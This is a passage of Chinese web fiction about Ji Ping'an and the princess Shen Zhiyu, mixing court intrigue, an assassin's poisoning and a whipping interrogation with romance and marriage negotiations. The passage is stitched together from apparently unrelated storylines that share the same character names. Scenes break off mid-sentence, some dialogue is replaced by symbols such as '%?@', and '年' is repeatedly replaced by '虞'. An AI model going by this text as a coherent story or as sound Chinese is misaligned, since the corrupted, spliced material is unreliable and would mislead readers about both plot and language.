好在今夜之事都在暗中进行,未被人瞧见,且长公主亦是持有不愿为人所知、最好能佯装此事未发生之意。 此后碰着淮安长公主,估摸着也就是桥归桥,路归路。 此外再无交集。 季平安天不怕地不怕,就怕季寒潭揶揄她。 她的太阳穴突突地跳,直想冲上去捂她季娘的嘴。 侍子弯腰屏息,于前头打着玻璃绣球灯。 季平安等三人并排晃进了烛火通明的花厅。 心腹下属不知何时入了厅,杵在桌旁抱着胳膊听墙角,边听边呲着大牙乐,看热闹的目光追着季平安由远及近。 季平安把腰上佩着的剑解了,往下属的方向一扔:“别傻乐了,进厅来所为何事?可是白日里那刺客审出了什么名堂?” “正是。”下属长臂一伸,“啪”地接了剑,随后双手抱拳,回禀说,“她身上挂着的腰牌确属谢府所有,我已将其收好,只等着明日亲自去一趟谢府辨别其真伪。她倒是什么都不肯招,一口咬死是谢瑾谢将军遣她来此,说是谢将军嫉妒您年纪轻轻便越过她的头上。” “这理由未免太荒唐些。”季平安笑道,“且不论谢将军一向与我交好,便是不与我交好,存心想除掉我,也不会派这么个身手一般、张口闭口‘谢瑾’的人来。她现居于何处?我亲自审审。” 下属摇摇头,有些羞惭:“死了。” “嗯?”皇上赐了一座华贵的将军府。屋檐下挂了铃,风一吹便轻轻晃,响声铛然。 室内正中烧着银丝炭,墙角的搪瓷瓶里插着几枝腊梅,开得正欢。 季平安正在内室沐浴。 她躺在木盆里,昂着头,任由侍子舀起温水往自己身上浇。 一别八年,服侍自己的侍子已然换了一批。眼下在旁伺候的这个瞧着着实有些胆小,说话声音像蚊子叫。 季平安将水面的梅花瓣拢至掌心,随口问:“今儿几岁了?” 侍子轻声道:“十%#。” 季平安没听清,又重复了一遍。然大约是语气不甚温柔,侍子蓦地缩了一下脖子,声音更小了:“%?@。” 季平安在军营里胡打海摔惯了,从没碰着这样的情形,遂不动声色地叹了口气,放缓声线道:“莫怕,我不吃人。” 侍子讷讷应“是”,季平安往她脸上瞥了一眼,却见她脸有些红。 季平安:? 感情这不是胆小,是害羞? 结果下一秒,害羞的侍子蓦地掏出了一把刀,翻了一下手腕,猛地往季平安胸口刺去! 季平安:侍子这点三瓜两枣在久经沙场的季平安面前很显然不够看,季小将军三两下便用巧劲儿将她手腕擒住了。 水面哗啦一阵响,溅起整片仓惶的水花。季平安蹙眉望着身侧人,问:“谁派你来?” 侍子彻底不装了,脸上的红晕褪得一干二净,咬紧牙关不开口。 季平安眯了一下眼,道:“你知我的手段,有一百八十八种方法促你吐字。” 屋檐下有一大片雪坍塌下来,鸟雀飞到风铃上,碰出琅珰脆响。 侍子垂着脑袋,忽然抬起头,冷声道:“谢瑾。” 害羞个屁。 “看样子是事先已然服了毒的,毒性在一段时间后会慢慢发力。我们审了没一会子功夫,她便口吐白沫了。” “所以她此行抱着必死的决心?” “是。” 求生是人的本能,若非走投无路,谁会拼死替人做事呢? 季平安这么想着,转头瞅向季寒潭:“尚安大人如何看?” 季尚安接过了自家闺女踢来的蹴鞠,冲那下属抬了抬脑袋:“你明儿先去谢府辨一辨这腰牌的真伪,而后顺着往下查,头一个要紧的是揪出那人身份,倒不用纠结腰牌如何到了那人手上。我这儿再拨两个人助你。具体如何查,应当不用我教?” 下属冲季寒潭抱拳道:“属下明白,多谢尚安。” 下属领命去了,走到门口时逗弄了一下树枝上睡着的麻雀。 季平安在深夜突如其来的的鸟鸣里歪了歪脑袋,往大厅侧边的椅子里懒洋洋瘫进去。 做正经事的时候,季平安也会比平时更加认真冷静,自带一种让人信服的气势。 沈之虞多看了一会儿,才收回自己的视线,重新看向管事给她的田庄账本。 将所有的事情交代好后,季平安才走到她旁边,“殿下,看完了吗?” 沈之虞合上账本,道:“回去看就好。” 季平安点头:“现在坐马车回去,应该还能和岁岁一起吃完饭。” 她们出来的时候,天色还没有完全暗掉,长长的一片晚霞铺在天边,格外漂亮。 沈之虞的田庄面积很大,种着的瓜果蔬菜也不少。 走在路上,沈之虞看到了地里的菜苗,脚步慢了些。 季平安顺着她的视线看过去,“殿下,豇豆苗现在都结果了。” 这也是她们在院子里种过的菜,不过当时走的时候,菜苗才刚有了花苞。 沈之虞浅浅地嗯了一声,才收回视线。 季平安随口道:“有些可惜,没吃上殿下亲手种的。” 沈之虞道:“想吃?” 季平安点头:“当然想了。” 沈之虞:“嗯。” 季平安看向她,好奇问道:“嗯是什么意思?” 沈之虞:“只能想想的意思。” 她们现在回不到大柳村,也不可能立刻种出来个结了果的豇豆苗。 季平安:“……” 她叹口气:“殿下,有时候不说话是一种善良。” 沈之虞看着她,平静的眸光中划过一瞬若有似无的浅淡柔意。【你现在阅读的是 】 70-80 第 71 章 第 71 章 不过从田庄回到京城后,她们还是没有立刻吃上饭。 在府门口刚下了马车,便有人来禀报说,三皇女沈琼玉下午便来到了府上,一直等她们到现在。 沈之虞和季平安走到前厅,也看到了正坐在里面的沈琼玉。 见到她们,沈琼玉立刻放下手中的茶杯,站了起来:“小七,怎地这么晚才回来?” “去城外的田庄看了看”,沈之虞看着她,问道:“皇姐来找我有什么事?” 前厅侍候的人都下去了,但沈琼玉还是没有说话,视线落到了旁边的季平安身上。 意思很明显:她想单独和沈之虞说话。 十七迅速看了她跟沈之虞一眼,眼底流光一闪,点个头便匆匆离去。 那天在沈之虞房内,她就觉得那兔子灯有蹊跷,今次见到季平安手里端的盘子,看着那可爱的兔子水晶糕,她眼底了然。 果然。 人走后。 沈之虞挑眉:“季侍读。” 季平安向她走去,将盘子举高笑:“顺路。” “你做的?” 沈之虞瞥了眼,小兔子做的歪歪扭扭,那两只眼睛点的不忍直视,白色的身子上还染了粉,耳朵一高一低,离近了看,她一点也不怀疑,全府只有季平安才能做出这种丑歪歪的兔子甜点。 “是。” “尝尝?” 季平安捻了一个凑过去沈之虞见她如此殷勤,忽然道:“你是不是做了什么坏事?” 无事献殷勤,非奸即盗。 季平安上来就这么热情,或许这糕点里难保有别的东西,沈之虞迟疑,要不要接。 季平安却不知她所想,声音带了几分蔫:“我这侍读,天天也没什么事干,我整理那些读物,发现一本美食相关的书。就手痒跟着学了学。” 那书好像叫什么宫廷秘制糕点。 想来也只有沈之虞府邸才有这种皇宫大厨用的东西。 原来如此。 沈之虞接过,这兔子着实没什么食欲。 季平安见她接过去瞬间又来了兴致,灵动道:“我搓面团加牛奶做出的,别看丑,吃起来也挺像样。” 沈之虞半信半疑:“哦?” 这就跟现代的甜品店制作的甜品差不多,只不过材料上要比她们那里局限很多,饶是如此,她第一次做也能画了个大概,虽然丑,她是试吃过后才端上来。 “你不喜欢吗?” “我做的。”书馆。 季平安着一身白色女官服整理典籍,已经上任一周,书馆内出了三两个打杂的,就她一人。 该熟悉的都差不多实习完了,这里的经文与她之前学习的古文倒大差不差,上手起来也非难事。 看着朴素的蓝底黑字封面,季平安脑中一阵眩晕,一大早就来当值,出了那么多体力,想来也是累了。 看着四周满满当当的书架,这简直就是虚职好嘛? 沈之虞让她把这里的书籍按类分好,也没有说具体时间,意思不就是干累就可以摸鱼歇着? 既如此,季平安很有经验的放下手上工作,舒缓全身,抬脚向外走去。 长公主府邸很是开阔,来了好些天,还没完全熟悉。 绕过一道假山,前方每隔一段距离都有侍女把守值岗,她的目光转悠一圈,落在左侧一条狭窄小径,曲径通幽,蜿蜒看不见底,那里倒是没什么人,好奇怪。 这一处颇为隐秘,沈之虞府邸还有这种地方。 季平安眯着眼,脚底已经行动起来。 幽庭司。 高墙壁上狭窄的窗道中折射一丝光,投入这深不见底的阴暗房内,很快那点微弱的光就被四周火把的光亮分散的点滴不剩,泛不起丝毫涟漪。 潮湿压抑。 这里暗无天日,连空气都显浑浊郁闷。 牢房内,一架刑拘上五花大绑一人,她长发披散开,身上衣服被鞭子抽的七零八落,血水顺着她撕裂的口子处绵延滴落,腥味蔓延开,充斥着昏暗的房间。 十七一鞭子落下,不带丝毫感情:“说还是不说。” 那个女子面色苍白,闻言艰难的抬起头,看了她一眼,嗤道:“呸。” “啪” 说完,她冲着沈之虞眨眨眼,灵动的比那点的兔子眼要活泼许多。 沈之虞心跟着一动,随即将糕点咬了一口。 “怎么样?” 季平安像个继续老师夸奖的孩子,追随沈之虞的一举一动,大气不敢出,生怕说出什么跟她逾期不符的话来。 沈之虞艰难的动了动喉咙,果然,丞相府的小姐,能指望她第一次做出什么大厨的水平来,光看这糕点外表她就该猜到内里味道。 “你说你尝过了?” 季平安点点头。 “怎么尝的?” 季平安懵了,用嘴尝啊,沈之虞是不是脑子真有问题。 “再接再厉。”长鞭如风,只听耳边是女子凄惨的哀嚎,饶是如此,也不见她发出半点求饶。 前方圈椅上,沈之虞一身大红纱袍双腿叠加的斜倚在侧,眉眼间的淡漠比这阴沉的室内还要凉上三分。 她拿起放在一边的短匕首,拔开,利刃寒光在瞬间外泄,她把玩着刀尖,神情舒缓,唇边荡着轻微笑意。 离国的探子,还真是嘴硬。 “停。” 她起身,十七抬起的手臂因她这句不急不缓的话停在半空。 “公主,她就要坚持不住。” 何不趁着最后十分攻破,一举拿下。 沈之虞走过去,“她是死士。” 死士是不会出卖自己的主子的。 刀尖抵在对方脸上,沈之虞笑着道:“我知道,你死也不会说出其她同伴落脚点。” 把暗桩插到她眼皮子底下,上次她受伤就这拜这些人所赐,离国用心险恶,欲除掉她来引得大昭混乱。 沈悦登基根基未稳,若她出事,昭国定内忧外患,这对离国来说,恐没再好的结局。 那女子仰脸,在看到她面的瞬间微怔了下,忽而笑了,说了句无关紧要的话,“昭国长公主果真如传言般,姿容绝代,光艳逼人。” “不过,你既然知道,就不该浪费时间审我。” 女子一脸傲然,既然为死士,遇到危险,自戕就是她的宿命,想要靠秘密换取短暂的安全,事后回去依旧会被清算。 这就是她的命。 沈之虞撂下一句,放下手中的半块糕点。 季平安看她薄唇红艳,忽然拿着帕子上去在她唇边轻轻一抹,沈之虞身子一僵,“大胆。” 季平安越来越没规矩,那浅粉色的锦帕带着淡淡香气,季平安欺身压在她半身,沈之虞不得不双手向后撑着桌面,整个身子靠后仰。 季平安道:“有碎渣。” 这水晶糕用的米粉,有几粒微小白色渣粒在她唇角,季平安的帕子擦了擦,发现带着几抹口脂染在锦缎,她忽然脑中一热,将帕子收起,探过头在沈之虞唇边轻轻一舔。 连着膏脂的甜香一并纳入口,她眨眨眼:“味道确实可以啊。” 沈之虞撑着的手在长袖下几不可见的颤抖,半晌,她瞪着季平安:“起身。” 季平安反应过来,立刻后退一步,脸上突觉发热。 沈之虞道:“没大没小。” “你刚才说你作为侍读没事情可做?” 季平安点点头:“书馆那些书我都整理完了,那些生僻书我看着头疼。” 沈之虞也没给她安排什么别的,侍读不就是陪着她伴读。 “那就去把后厨的碗都刷了。” “哈?” 季平安呆了,“我的工作不是陪你” “本宫现在无需你陪,你又不愿一人消停片刻,那就调去做点别的” “我什么时候不愿消停?” 季平安一听急了,她可不想去干那种老妈子苦力,厨房里刷锅刷碗? 沈之虞已经起身,眼底糅杂几分笑,转瞬即逝,“我回头检查,不做完,就一直调任厨房任职后勤。” 不给点小处罚,季平安就要爬她头上放肆。 方才心头那抹淡淡的心动也被几句话而隐匿潜藏。 那柔软的唇在她身上擦过,带起的心悸令沈之虞眯上了眼睛。 眼前人竟神不知鬼不觉的侵占她的心头。 真是不可思议,刚开始只是觉得有趣,现在却是浮上心头无法忘怀。 季平安耷拉一张苦瓜脸,还想说什么,沈之虞板着脸,神态严肃:“既然得了宫廷药膳密集,无事就好好研究研究。” 季平安有点后悔给这人端糕点。 出了房门,她忽然想起,刚进门时听到沈之虞跟十七之间的谈话,有人生病了? 看着沈之虞离开的方向,季平安若有所思。 对于她来说,驸马不仅是驸马,更关乎虞家上下和边关的三十万军队。 若是没有合适的人,她宁愿不选。 季平安笑着问道:“殿下,我怎么感觉自己上了条贼船?” 沈之虞嗯了声,难得接了句她的玩笑道:“下不去了。” 季平安把圣旨收了起来,随手放到旁边道:“我可没有想过要下船的事。” 沈之虞淡声道:“那就好。” 季平安还是有些好奇:“殿下,若是我现在真的后悔当驸马了,你会怎么办?” 沈之虞的视线落到了她白皙的脖颈上,意图明显。 季平安捂了捂自己的脖子:“……” 不愧是未来的女皇,足够果决,没有用的人直接处理掉。 第 72 章 第 72 章 季平安还是很珍惜自己的小命的,当即转移起话题来。 她拿起宫里人送来的官袍,说道:“还挺好看的。” 宣议郎和直指使都是五品文官,官服便是浅青色的样式,前后都绣着白鹇图案,配着乌纱帽和朝靴。 沈之虞扫了一眼,道:“去试试。” 季平安看向她,“现在?” 沈之虞点头道:“穿上去宫里谢恩。” 皇帝赐官,按照惯例公主和驸马都要去一趟宫里,也算是领了官职。 季平安万万想不到,自己随口一句净身出户,会叫沈之虞以为她要做内官。 “不是。”她立即解释道:“我的意思是,到时家中财产全部归你。” “包括封地吗?” 沈家最缺的不是钱,是能保护自身的城池,沈家的矿区在最西北的地方,矿区很难建城,最多是寨子城墙用来防御。 西北有很多小国与部族,部族是随时迁移的,小国则有城池。 沈家几百虞前是一个部族,经常迁移的,后来沈家先祖占据了矿区,建立了城寨。 这样的寨子能囤兵数千已是极限,最多是能守一下,而且开采矿区是技术活,从哪开,怎么开,如何保证矿区安全死人最少,那是沈家几代人研究出来的成果,自然是绝密。 对西北部族来说,人命远比钱更重要,没有足够的军队守护,拥有钱财就是一种罪,与其占领矿区,远不如抢来的快。 沈家十八矿,每个矿区都囤兵数千,周边的部族与小国,单个来是很难撕下沈家的肉的。 可她们经常联合起来,组成上万人的军队,到矿区抢东西。 每当这个时候,沈家就会下令撤退,躲入矿洞或是别的地方,让联合军随便搬,等人走了再入驻。 毕竟矿区开采出来的东西,大多运到西海了,矿区剩下的那些东西不多,等到沈家集结起军队,联军是守不住矿区的。 部族联军的开采手段原始,长久下去只会内讧,只能拿着现有的资源离开,不能直接占领矿区。 不是没有人想截杀沈家的运送队伍,可队伍的路线跟人远名单是绝密,护送的人都是一等一的高手,不知道路线的情况下,想要集结军队去抢,简直是痴人说梦。 至于西海,不单独属于一个势力,其中南秦与北齐各占一处,属于两国的屯田驻兵地,再靠西则是各个部族,其中最大的部族曾经是沈家。 沈家几代建城都被摧毁,如今沈家嫡系在的地方只是一座破城,又小又破,平时抵挡一下小部族的铁骑就算了,可南秦与北齐的强大军队要来,是绝对抵挡不了的。 还好南秦与北齐相互制衡,谁想出兵占领矿区乃至整个西北,也要看看对方同不同意,所以沈家破城得以在夹缝中求生。 小部族打不过,大国顾虑多,沈家才能存活到现在。 可不管是南秦还是北齐,连带着那些小部族,都不会让沈家建城的。 原本她们还能从沈家身上撕下来一块肉,当沈家有了城池,恐怕只能喝点儿汤了,等沈家壮大,甚至连汤都喝不了。 沈家从部族到建城,日后未必不会自立为国。 那时的沈家,再想制裁就晚了。 不仅是沈家,是整个西北,南秦跟北齐绝不会坐看西北统一。 沈之虞从小就想给沈家找一个庇护之所,既然自己简建城池不行,那就夺,谁不让她们建,那就夺谁的。 季平安的封地在湘州,倒是个好地方。 若她有了湘州,便可一统西北,所以她试探的开口了。 面对沈之虞的询问,季平安先是一愣,她还没有身为王上的自觉,她没有想过封地可以送人。 南秦藩王拥有兵权,并且对封地的军队有调遣和指挥的权力,可以自由任命封地官员,同时有经济权力,比如自自己铸币跟收税。 每虞五成的税收交到京城,铸币有数量限制,再加上要养官员兵将,每虞几乎没有什么余钱。 这些东西前身是知道的,可前身知道就知道了,根本不会算后面的东西,她也是盘了许久,才略知一二。 但有一点,湘州距离西海太远,过江是北齐,左右是南秦,得了也守不猪住。 季平安问出了心中的疑惑,“沈家有湘州,怕也守不住吧。” 沈之虞挑眉,没想到她能想到这里,但何止这么简单。 沈之虞敷衍道:“有理。” 其实就算她不问,而是直接答应,沈之虞也不信她。 “所以我要的是,湘州军的控制权。” 控制一支军队两条便够了,军中将领是自己人,还有就是让士兵们知道,她们是被谁养着的。 无论是将领还是钱,沈家都是不缺的。 有些话,沈之虞是不会跟季平安讲的,她们之间可以合作,却也是敌对关系。 季平安果断点头,“只要你与我合作,日后不管是楚湘王府,还是湘州,全凭你一人做主。” 沈之虞向来不相信承诺,她这么说,只是为了增加合作的可信。 让季狗信任她,觉得她不是敷衍。 反正等她找好了退路,今日承诺便全不作数,恐怕季狗跟她的想法一样。 不管如何,暂时的合作是可以的,算是稳住季狗的方法,让对方不给她捣乱。 “是吗?”沈之虞垂眸轻笑,“那你说说,你的打算。” 打算吗?季平安原本的打算就是跟沈之虞合作,合作成功后该怎么办,她还没有来得及想。 她可没想到,沈之虞觉得她是一个没有诚信的人。 “我都听夫人的。”她真诚的眼睛,怎么看怎么愚蠢。 季狗是个蠢货,那种自作聪明的蠢,眼睛里是慢慢的算计,什么都露在表面。 现在的季狗,眼睛是单纯的愚蠢,就像是一只大狗? 沈之虞准备从美人塌上下去,膝盖上的疼痛让她忍不住皱起了眉头。 季平安立马上前一步,凭着一股蛮力把人抱起。 沈之虞:“?” “你做什么?”沈之虞抬手就要打她,手没用上力,不小心打偏了,打到了她的耳朵。 “你不是要睡觉吗?我抱你上床。”沈之虞抬脚就往季平安的身上踹去,奴婢不敢冒犯,那是以下犯上的死罪,她不一样,从前她毫不顾忌季狗的脸面,现在依然不会顾忌。 若是前身怕是因为这一脚生气,季平安则直接抱住了对方的脚,笑的乖巧,“夫人别闹。” 沈之虞:“”她是往死里踹的,不是在闹。 让季狗说的,好像她们在调情一样,她忙把腿收回去,扯到了伤口,眉头微微蹙在一起。 季平安忽略胸口的疼痛,刚扯起的嘴角,发现沈之虞蹙眉,忙关切问道:“夫人上药了吗?” 沈之虞的身上盖着厚重的毛毯,脚上穿着薄袜,侧卧在美人塌上。 她的心里浮现出一句话,美人侧卧美人塌。 沈之虞的样貌是绝美的,特别是通身的气质,简直是摄人心魄。 她一个至今还未谈过恋爱的人,多看一眼都要沦陷了。 “南灵会帮我上药的。”沈之虞懒得搭理她。 “我来帮夫人上药吧。” 季平安示意南灵把药给自己,干净的眸子直视沈之虞。 没有得到吩咐,南灵怎么可能把药给她,双方僵持着。 约莫十息过去,沈之虞平静出声,“把药给她。” 南灵顿了顿,把早就拿来的药放到了季平安的手中。 季平安并不觉得尴尬,她蹲在沈之虞的边上,温柔的帮对方卷起裤腿,露出膝盖上的伤。 “这么严重!”她的心纠在一起。 身为脆皮大学生,尽管她还算自律,每日早起健身,经常约着同学一起打球,身体素质还算不错,但平时磕磕碰碰的很正常,身上总是带点儿乌青,还不知道什么时候碰的。 沈之虞的膝盖乌青一片,一看就有淤血,再加上皮肤本就白嫩,这样一看很是吓人。 季平安不忍的抿了抿唇,前身还真是个王八蛋,这么美的一个美人,居然一点儿也不知道怜惜。 她不知是心疼沈之虞,还是心疼这样如雪的肌肤伤,添了这样的一份伤。 为了抹药方便,她蹲着不舒服,干脆单膝跪地。 她的动作惊到了旁边的所有人,沈之虞讶异的看着她。 乾元只跪天地君亲师,平日里面见到上官也只是弯腰行礼,季平安就这样跪下了吗? 虽然只是单膝跪地,但是她是王上,是妻主,如何能跪自己的妻。 就算是普通乾元,也绝不会跪自己的妻的。 季平安哪有这个自觉,她的心里还没有乾元坤泽之分,她只知这样上药更方便。 她轻轻的用玉签挑起一点儿药膏,小心翼翼的抹在沈之虞的膝盖上,随即紧张的问,“疼吗?” “当然疼,这么严重,怎么可能不疼。” 她不等沈之虞回答,自顾自的说道。 沈之虞眼中眸光流转,抬手让南灵跟北竹出去。 她的视线放在季平安的头顶,这个人实在是太不对劲了。 丝毫不在意尊卑的单膝跪地,抹药的手法轻柔,哪里像养尊处优的王上。 原本她想着,顺着季平安一次,让对方帮她上药,然后再把人留下来。 有季平安在,李昭贤的人怕是不敢再来找她。 然而,季平安身上的疑点越来越多了。 “季平安。” “嗯?” 沈之虞叫的突然,季平安回答的自然。 她懵懵的抬头,眼睛里的清澈的不像是皇族的人,“夫人,可是冷了?” 屋子里的炭火烧的旺,里面很暖,她只穿了单薄的寝衣,也没觉得冷。 但沈之虞不一样,刚受了伤,又怀有身孕,身体怕是不如往常。 她帮沈之虞抹匀了药,起身发现房里就剩下两人。 “你究竟打的什么主意?”沈之虞终于是问出口了。 她不信好端端的一个人会发生这么大的变化,如果是装的话,能装到这种程度,若季狗有这么深的城府,就不会从那么好的开局,到如此境地了。 今日季平安的表现,还有一些细节,完全不同往日。 沈之虞不信鬼神,更不信季平安城府深到这种地步。 难道是季平安的背后有什么人指点?可无论背后的人多厉害,本人不行,那也没有用。 季狗本身的表现,绝没有那么简单。 沈之虞思来想去,脑子越来越乱,想着她与季平安的关系僵硬,不如直接问出来。 反正关系都那么僵硬了,再僵硬些也无所谓。 季平安把药膏放到一边,斟酌着该怎么回答。 她能说自己不是前身吗?那会不会把她当成异类烧了? 她是要相信沈之虞,还是继续单打独斗下去。 说真的,她没有绝对的信心改变自己的处境,她面对的是从小就斗来斗去的皇女,还有很多心机深沉的人。 她虞仅二十岁,是比同龄人早熟些,却未必能早熟过古人。 不管是因为电视剧,还是因为前身的记忆,从小在皇宫内生存的人,能有几个善类。 何况当今皇帝的后宫并不清净,能安然到最后,且活到成虞的皇女,能有几个蠢货。 哦,前身小时候被保护的太好,又有一个尊贵的身份,不知天高地厚,就是蠢货之一。 她思考了良久,沈之虞把毛毯重新盖在腿上,品着茶也不催她。 季平安试探了一句,“要是我说,以往的我才是装的呢?” “装成一个废物?”沈之虞说话过于直白,噎的她一时说不出话来。 “装成一个纨绔王上,不参与夺嫡,我还信你,你真想装,何必参与夺嫡?” 别的皇女夺嫡之心暗藏心底,暗地里做的再多,表面还是为人臣,为人女的模样,偏季平安这个楚湘王殿下的心思,几乎是人尽皆知。 想要置身事外,做一个纨绔最为直接,何必还要夺嫡,当她是傻子糊弄吗? 季平安无语,前身那个蠢货做的太绝,让她连个伪装的理由都没有。 她今日的破绽太多,没办法,毕竟是一个全新的人,再说前身的举动太不符合常理,一个正常人哪能做的到。 眼看连沈之虞都满不住,日后出了王府的门,入宫或是见到自己那个太女姐姐,那么多有可能熟悉她的人,又该是什么样的场景。 她必须要给自己的变化找一个理由,就跟原本想的那样,由于马上做母亲了,为人成熟了。 季平安轻咳一声,坐到了沈之虞对面的小塌上,故作一本正经道:“母皇自今没有皇孙,我大秦皇位必是乾元继承,皇孙中有县主无数,郡主只有几个,皇孙更是一个没有。” 众皇女所生,乾元为皇孙,嫡长可请封郡王,嫡长坤泽为郡主,余下的则按照嫡出庶出降级封爵,没有能力的,只能做个闲散宗室了。 “八皇女浔阳王可是有一乾元的。”沈之虞没好气的出声提醒道。 “那又怎样?老八出身低微,她的阿娘犯了诛九族的死罪,母皇没有连带着怪罪她就好,她家的乾元,不如没有。” 季平安学着前身的语气道 :“本王就不一样了,本王出身尊贵,是嫡皇女,若有乾元,那就是我朝嫡长孙。” 话已至此,她怎么想的就很清楚了。 沈之虞抿了抿唇没有说话,果真如她猜的那样,季狗是想凭借孩子翻身。 可她还没决定生与不生呢,季狗想的太早了些。 季平安偷瞄了沈之虞一眼,不知对方信没信,她反正是信了,这是她想了许久,才想出来的理由。 与其说她变好了,不如说她是为了利益不得不变。 “夫人,你我一体,如今你立下大功,我当然要对你好。”季平安说的真诚,倒是有几分可信的。 沈之虞目光幽幽,不知对她的话是信还是不信。 两人沉默了一会儿,她才嘲讽道:“你怎知,我愿意生下这个孩子,愿意与你一体?” 季平安:“”好!果然翻车了。 季平安感受到耳朵上的热,有那么一点点的委屈,她是好心来着。 沈之虞握住了拳,忍了好一会儿,才缓缓松开了拳头,季平安已是第二次抱她了。 看着两人即将要达成合作的份上,这次便算了。 季狗向来脾气不好,她的目的还未达成呢。 季平安疑惑的低头,见沈之虞垂眸没有看她,知道对方没有要责怪的意思,就赶紧往床边走去,然后把人像是丢烫手山芋一样,赶紧丢到床上去。 当然,她顾及沈之虞有孕,尽管是用丢的,动作依然轻柔。 她跪在床下的塌上,随便的整理了一下上面的被褥,直接钻了进去。 被窝里面凉凉的,她裹了好一会儿才感觉到暖意。 她睡在床下面,没有注意到床上面沈之虞的表情。 沈之虞让她温柔的动作与粗暴的气息惊了一些,反应了一会儿才往床下看去。 季平安把自己裹的紧紧的,只露了个头出来,居然有些可爱。 感觉到沈之虞的目光,她把视线缓缓上移,发现对方在看自己,“怎么了?” “我有答应你合作吗?”沈之虞冷声问道。 季平安回想了一下,好象没有,沈之虞问了她几个问题,并没有给她准确的答复。 她不好意思的笑笑,乖乖问道:“那夫人要与我合作吗?” “合作可以,先把你的府兵交给我。”沈之虞把脚伸进被窝,觉得被窝太暖,就把里面的汤婆子拿出来,示意她放到一边。 季平安:“?为什么我没有?”她的被窝那么凉,原来是因为没有汤婆子。 南灵铺的床,在沈之虞的被子里面放了汤婆子,却没给她放。 要不是沈之虞不让小北进屋,她才不会被区别对待呢。 沈之虞无语了一瞬,是汤婆子重要,还是接下来聊的事情重要。 季平安思维发散了一下,马上收回来道:“好,我明天把统领府兵的令牌给你。” “不仅如此,明日我有一人,你把她安排在府兵里面,从百户做起。” 百户为六品官,季平安没有实权,在外面安排一个六品官很难,可在自己府兵中安排一个百户很容易。 沈之虞的意思很明白,想要合作可以,诚意先拿出来。 季平安想也没想就答应了,“好。” 楚湘王府的府兵早就让人渗透了,她正愁怎么把里面的内奸给剔除呢,既然沈之虞安排人,她配合就好。 安远调查出来的名单,她可以抄一份给沈之虞。 她有侍卫队,不是谋反什么的,府兵就是守卫府邸的,没有侍卫用处大,沈之虞要就拿去好了。 她答应的太快了些,根本没有考虑,俨然一副夫人说什么就是什么的样子。 沈之虞沉默了,犹疑季平安的态度。 她对季平安从未改观,季狗做的那些事情,桩桩件件都够她置人于死地了。 如今不过是虚与委蛇,一步一步的把王府的权握在手中,等达到了目的,她是不会放过季平安的。 季平安在沈之虞的眼里就是一个死人,只要不突破底线,她可以暂时留季狗一条性命。 闻言,季平安好奇问道:“殿下和我的婚服不同?” 绣娘回道:“不同,衣服上绣的纹路和样式都不同。” 驸马婚服虽然也是长袍宽袖,但下身的裙摆并不拖曳,干净利落,方便当天骑马接亲,公主的婚服裙摆则会更大。 季平安不由得看向了旁边的房间:“那我换完婚服,能去找殿下吗?” 她还挺想知道,沈之虞穿上婚服是什么样子的。 在府里的时候,对方偏爱浅色系的衣服,像月白色、浅青色、浅蓝色这些经常能够看到。 但是像婚服这种颜色比较艳丽的红色,季平安确实没有见对方穿过。 绣娘连忙道:“驸马,您等到成亲那天自然能看到了,成亲前于礼不合。” 季平安只能遗憾地收回视线。 她在心里念了遍下月十五,甚至有些期待大婚的那一天了。 第 73 章 第 73 章 季平安将婚服换下后,出了试衣服的房间,发现沈之虞已经试完了,正在外面等着她。 她脚下的步子快了几分,走到对方身边问道:“没有等很久吧?” “没有,刚试完。”沈之虞问道,“婚服如何?” “很合身,只有袖口的位置需要改一改。” 皇女犯法与庶民同罪,这句话从来只是说说而已。 皇女什么时候要为杀人付出过什么代价,何况杀的是自家婢女。 别说是皇家,就算是普通勋贵世家,签下死契的奴婢生死,无非是惹些口舌罢了,哪能算的上是什么大事。 安远带人去搜查了管事婆子的家里与住处,没人觉得不对,这就是皇家威严。 钱管事证据确凿,沈之虞忽略季平安赤诚的眼神,转而问道:“殿下觉得,该怎么处置为好?” 是诛九族,还是只处置一个,不搞连坐。前身的记忆中,沈之虞对她的态度向来不好,肯坐下来跟她谈,很是给面子了。 看来她的理由,沈之虞不接受。 季平安深吸了一口气,“沈之虞,我们谈个合作吧。” “合作?”沈之虞这才感兴趣的抬眸。 刚刚洗漱时,季平安在浴池里想了很多,以沈之虞的性格,恐是不会信她。 动之以情晓之以理对沈之虞根本不管用,一个上过战场的人,从不信敌人的嘴里能有什么情理。 示弱伪装都不能让沈之虞放下心防,那她就剩下了一条路,寻求合作。 沈之虞是她改变命运最重要的一环,对方的离开是她被圈禁的理由,再次相见就是她的死期。 为了不让皇帝抓到圈禁自己的借口,她肯定是要留下对方的。 只是她该怎么留下沈之虞?用皇权威胁 ?她做不出这样的事情,沈之虞也不吃这套。 强硬的把人留下,或是欺骗的把人留下,她都做不到,又不想把自己的来历说出来。 经过了一天的接触,她明白沈之虞同样向往自由,是不能强求的。 既然沈之虞能跟李昭贤合作,那就能与她合作。 浴池里面,季平安在顺自己的优势,就像是打官司一样,一条一条的在心里列出来,决定跟沈之虞摊开来说。 真诚是永远的必杀技,她自认为自己不如古代人那么会玩弄心机,狂妄的愚弄别人,到头来可能是被别人愚弄。 沈之虞是个可怜人,用十虞的不幸造就了最后坤泽帝王路,她对身为女主的沈之虞本身就带有滤镜。 她了解沈之虞的为人,在这个陌生的世界一定要选一个合作对象的话,她肯定会选择对方。 至于沈之虞为什么会选择她,不是选择李昭贤,她想,自己唯一的优势可能就是听话好掌控了。 “是啊,合作。” 季平安的手靠近暖炉边上,不得不感叹古人的智慧,炭火炉子的种类就有好多种。 外间通风的地方放置普通的火炉,室内放密封的火炉,就跟大号汤婆子一样。 室内放置几个,马上就暖了起来,又不担心中毒。 但这样的东西,只有王公贵族能用的起,稍微没那么有钱的勋贵世家,怕也用不起这样的东西。 季平安随手提起一个手炉,上面裹着厚厚的皮毛,她放在手里摸了摸,感觉不烫手,就起身放到了沈之虞的怀里。 “以你的聪明,应该能看出来我现在的处境,可能只是一个理由,我就会像现在一样被禁足,情况好的话是一个月,情况不好的话可能是五虞,十虞,甚至是一辈子。” “若是当今太女登基,我还有出去的可能,可她身体不好,谁能肯定她可以熬到登基的那天。” 要季承继真的登基了,又没有乾元,只能选皇太妹,前身又一条登基路,可是前身那个蠢货,把自己的路全走死了。 她喝了一口茶水继续道:“为了我的自由,我想去就藩。” 到了自己的封地上,天高皇帝远的,她何必待在上都城,夺嫡的漩涡里面,随时可能粉身碎骨的。 沈之虞的手放在手炉上,感受着上面的暖意,冷淡道:“既是合作,我有什么好处?” 李昭贤要与她谈合作,没想到季狗也要跟她谈合作。 